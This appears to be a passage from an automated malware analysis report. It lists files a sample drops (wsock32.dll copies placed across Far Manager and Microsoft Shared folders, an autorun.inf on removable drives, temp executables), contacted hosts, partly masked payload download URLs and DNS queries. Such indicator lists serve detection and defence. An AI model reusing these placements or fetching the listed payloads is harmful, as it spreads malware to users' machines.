- C:\Far2\Plugins\MacroView\wsock32.dll
- C:\Far2\Addons\wsock32.dll
- C:\Far2\Addons\XLat\wsock32.dll
- C:\Far2\Addons\XLat\Russian\wsock32.dll
- C:\Far2\Documentation\wsock32.dll
- C:\Far2\Documentation\rus\wsock32.dll
- C:\Far2\Documentation\eng\wsock32.dll
- C:\Far2\Addons\Shell\wsock32.dll
- C:\Far2\Addons\Colors\Default Highlighting\wsock32.dll
- C:\Far2\Addons\Colors\Custom Highlighting\wsock32.dll
- <Drive name for removable media>:\autorun.inf
- C:\Far2\Addons\SetUp\wsock32.dll
- C:\Far2\Addons\Macros\wsock32.dll
- C:\Far2\Addons\Colors\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\auto\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\auto\types\wsock32.dll
- C:\Far2\Plugins\Colorer\bin\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\console\wsock32.dll
- C:\Far2\Plugins\Colorer\hrd\console\contrib\wsock32.dll
- C:\Far2\Plugins\Colorer\hrc\wsock32.dll
- C:\Far2\Plugins\Brackets\wsock32.dll
- C:\Far2\Plugins\7-Zip\wsock32.dll
- C:\Far2\FExcept\wsock32.dll
- C:\Far2\Encyclopedia\wsock32.dll
- C:\Far2\Plugins\AutoWrap\wsock32.dll
- C:\Far2\Plugins\arclite\wsock32.dll
- C:\Far2\Plugins\Align\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\3082\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\2052\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Speech\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Speech\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\MSInfo\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1042\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1031\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1028\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1041\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1040\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1036\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admisapi\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admisapi\scripts\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admcgi\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bots\vinavbar\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bin\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\bin\1033\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\web server extensions\40\admcgi\scripts\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Triedit\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\TextConv\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Stationery\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\Web Folders\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\VGX\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\VC\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\theme\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\tbx\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\tb2k\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\windows\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\charset\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\my\wsock32.dll
- C:\Far2\Plugins\WinSCP\forms\wsock32.dll
- C:\Far2\Plugins\WinSCP\filezilla\wsock32.dll
- C:\Far2\Plugins\WinSCP\filezilla\misc\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\filemng\wsock32.dll
- C:\Far2\Plugins\WinSCP\packages\dragndrop\wsock32.dll
- C:\Far2\Plugins\WinSCP\lib\wsock32.dll
- C:\Far2\wsock32.dll
- C:\Far2\PluginSDK\wsock32.dll
- C:\Far2\PluginSDK\Headers.pas\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DW\1025\wsock32.dll
- %CommonProgramFiles%\Microsoft Shared\DAO\wsock32.dll
- <Auxiliary element>
- C:\Far2\PluginSDK\Headers.c\wsock32.dll
- C:\Far2\Plugins\WinSCP\resource\wsock32.dll
- C:\Far2\Plugins\WinSCP\release\wsock32.dll
- C:\Far2\Plugins\WinSCP\putty\wsock32.dll
- C:\Far2\Plugins\wsock32.dll
- C:\Far2\Plugins\WinSCP\wsock32.dll
- C:\Far2\Plugins\WinSCP\windows\wsock32.dll
- %TEMP%\RarSFX0\zhxxg.exe
- %TEMP%\RarSFX0\test.exe
- 'zr#.#966.org':80
- '<Private IP address>':139
- '9u##9.cn':80
- 'localhost':1036
- '<Private IP address>':445
- '<Private IP address>':80
- zr#.#966.org/7.exe
- zr#.#966.org/6.exe
- zr#.#966.org/5.exe
- zr#.#966.org/8.exe
- 9u##9.cn/wm/chajian.exe
- zr#.#966.org/10.exe
- zr#.#966.org/9.exe
- zr#.#966.org/arp.exe
- zr#.#966.org/3.exe
- zr#.#966.org/wincap.exe
- zr#.#966.org/1.exe
- zr#.#966.org/4.exe
- zr#.#966.org/2.exe
- zr#.#966.org/ct.asp?ma####################
- DNS ASK 9u##9.cn
- DNS ASK zr#.#966.org
- ClassName: 'AfxControlBar42s' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''